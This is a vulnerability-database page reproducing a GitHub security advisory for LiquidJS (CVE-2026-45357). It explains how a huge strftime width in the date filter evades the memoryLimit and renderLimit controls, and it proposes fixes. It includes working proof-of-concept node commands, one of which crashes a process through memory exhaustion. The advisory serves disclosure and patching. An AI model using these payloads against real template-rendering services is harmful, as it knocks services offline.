GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HH27-HF48-9F5Q

Vulnerability from github – Published: 2026-05-27 17:33 – Updated: 2026-07-09 21:06
VLAI
Summary
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
Details

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install liquidjs@10.25.7.

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

  • DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.
  • Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.
  • All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

  1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}
  1. Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.25.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T17:33:52Z",
    "nvd_published_at": "2026-06-17T23:17:03Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `date` filter\u0027s strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context\u0027s `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: \u0027%5000000d\u0027 }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls \u2014 and which the docstring explicitly mentions for `strftime` \u2014 are entirely bypassed.\n\n## Details\n\n`date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone:\n\n```ts\nexport function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {\n  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)\n  this.context.memoryLimit.use(size)\n  ...\n  return strftime(date, format)\n}\n```\n\n`strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`:\n\n```ts\nfunction format (d, match) {\n  const [input, flagStr = \u0027\u0027, width, modifier, conversion] = match\n  ...\n  let padWidth = width || padWidths[conversion] || 0\n  ...\n  return padStart(ret, padWidth, padChar)   // strftime.ts:147\n}\n```\n\n`padStart` calls `pad()` in `src/util/underscore.ts:153`:\n\n```ts\nexport function pad (str, length, ch, add) {\n  str = String(str)\n  let n = length - str.length\n  while (n-- \u003e 0) str = add(str, ch)   // unbounded loop\n  return str\n}\n```\n\nThe loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.\n\nFilter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format \u2014 a documented and tested usage pattern \u2014 exposes the sink to attacker-controlled input.\n\nThis is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`).\n\n## PoC\n\nSetup: `npm install liquidjs@10.25.7`.\n\nStep 1 \u2014 bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50):\n\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nconst t0 = Date.now();\nconst out = liquid.parseAndRenderSync(\u0027{{ d | date: f }}\u0027, { d: \u0027now\u0027, f: \u0027%5000000d\u0027 });\nconsole.log(\u0027len=\u0027, out.length, \u0027ms=\u0027, Date.now()-t0);\n\"\n```\n\nVerified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored.\n\nStep 2 \u2014 OOM-kill the Node process under a 200 MB heap cap:\n\n```bash\nnode --max-old-space-size=200 -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nliquid.parseAndRenderSync(\u0027{{ d | date: f }}\u0027, { d: \u0027now\u0027, f: \u0027%99999999d\u0027 });\n\"\n```\n\nVerified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed.\n\nThe realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.).\n\n## Impact\n\n- DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter\u0027s format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.\n- Bypass of the engine\u0027s two documented DoS controls \u2014 `memoryLimit` and `renderLimit` \u2014 meaning that operators who explicitly opted into DoS protection still have no defense for this code path.\n- All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they\u0027re not directly attacker-controllable; the user-facing risk is on `date`.\n\n## Recommended Fix\n\nTwo complementary fixes:\n\n1. Have `pad()` in `src/util/underscore.ts` charge the Context\u0027s memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter:\n\n```ts\nexport function pad (str: any, length: number, ch: string, add: (str: string, ch: string) =\u003e string) {\n  str = String(str)\n  const n = length - str.length\n  if (n \u003c= 0) return str\n  return add === ((s, c) =\u003e c + s)\n    ? ch.repeat(n) + str\n    : str + ch.repeat(n)\n}\n```\n\n2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable \u2014 strftime widths beyond a few dozen characters have no legitimate use.\n\nBoth fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.",
  "id": "GHSA-hh27-hf48-9f5q",
  "modified": "2026-07-09T21:06:30Z",
  "published": "2026-05-27T17:33:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/3129d46dc95efa357b00e5a57ee1af80a13d72ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…